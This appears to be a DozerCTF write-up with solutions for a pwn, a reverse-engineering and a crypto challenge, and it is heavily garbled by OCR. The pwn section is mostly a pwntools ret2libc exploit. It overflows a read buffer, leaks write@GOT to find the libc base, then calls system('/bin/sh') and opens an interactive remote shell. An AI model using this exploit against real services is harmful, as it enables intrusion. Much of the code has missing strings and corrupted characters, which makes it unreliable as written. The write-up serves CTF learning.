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char buf;

setbuf(stdin, &buf);
return read(@, &buf, ©x100U);
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Ox6c+p32(Oxdeadbeef)

p32(write_plt) p32(main_addr) p32(1) p32(write_got)

get shell

F] libc-database AL libc 2&: libc6-i386 2.23-0ubuntu11_amd64.s0 .

Ox6c+p32(Oxdeadbeef)

p32(system) p32(@xdeadbeef) p32(binsh)
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from pwn import

context.log level

p remote ( ,36666)
elf = ELF(

0x0804851f
elf.plt[ ]
(write plt))
elf.got| ]
(write_got))

Ox6c+p32(Oxdeadbeef)
p32(write_plt) p32(main_addr) p32(1) p32(write_got)

write_leak u32(p.recv(4))
log.info( (write_leak))

libc_base = write_leak libc.symbols|
log.info( (libc_base))

system = libc_base + libc.symbols[
log.info( (system))

binsh = libc_base + libc.search(
log.info( (binsh))

Ox6c+p32(Oxdeadbeef)

p32(system) p32(0@xdeadbeef) p32(binsh)

p.interactive()
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' jump table

def My base64 encode(inputs):

bin_str []
for i in inputs:

X (bin(ord(i))).replace( ;
bin_str.append( . ©9))

outputs

nums 0

while bin_str:

temp_list bin_str[:3]
if( (temp_list) 3):
nums E] (temp_list)
while (temp_list) 3:
temp_list [ 8]
temp_str .join(temp_list)

temp_str_list []
for i in (CE
temp_str_list.append( (temp_str[i*6:(i+1)*6],2))

if nums:

temp_str_list = temp_str_list[0:4 - nums]

for i in temp_str list:
outputs s[i]
bin_str bin_str[3:]
outputs nums
print( outputs)

def My base64 decode(inputs):




for i in inputs:
if i
X ( (s.index(i))).replace(
bin_str.append( . ©9))

outputs

nums inputs. count(

while bin_str:

temp_list bin_str[:4]
temp_str .join(temp_list)

if( (temp_str) 8 9):
temp_str = temp_str[0:-1 nums 2]

for i in (o, ( (temp_str) 8)):
outputs ( (temp_str[i*8:(i+1)*8],2))
bin_str = bin_str[4:]

outputs)

input_str (

My base64_encode(input_str)
else:

input_str (

My base64_decode(input_str)
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ROOYVEINWIRIRTIFRUSCWUdVMIRNU1JURZzRaVEtOUL11HNFpUTUSCVO1IMORRT1IXRzQOVESOSIhHWTIETO5aUkc1QVRPTUIUROKYRUVNIW1ZHNDNU
SO5aWECcOMIRHTkpaR1pBVE1INU1dHNDNUT@O5KVUCOMORPTUIXROKkYRUtOUBZHTTRUTOOCVUCOMOVFPTO9Cg0=

GM2TMMZTHE2EENBYGU3 TMRRTG4ZTKNRYG4ZTMOBWII3DQNRWG44TONIXGY2DONZRG5ATOMBTGI2EEMZVGA3TKNZXG42TGNIZGZATIMRWG43TONJIU
G43DOMBWGI2EKNSFGM4TOOBUG43EE===
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5cOKHWo75hshkhfyuvGqz p2KSwlkinSY jBgwTvpbhngxGk

sk T R ] A B AR R
https://skyedai9l@.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D"',true)From_Base32('A-Z2-

7%3D" ,true)From_Hex('None')From_Base58( '123456789ABCDEFGHIKLMNPQRSTUVWXYZabcdefghijkmnopgrstuvwxyz',false)&input
=UjAweVZFMU5XbFJJU1RKR1IVNUNXVWRWTTFST1VsS1VSelJhVkVOT1VsbEhORNBVVFU5Q1YwbEpNMFISVGXKWFI6UTBWRT1PU2x0SFdUSkVUMDV
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PVTBaSFRUU1VUMD1DV1VjME@wWVkZQVDA5Q2dvPQ



	DozerCTF Writeup
	pwn - ret2 temp
	分析
	保护情况
	漏洞函数

	思路
	泄露 libc
	get shell

	exp

	RE - 貌似有些不对
	Crypto - 真·签到


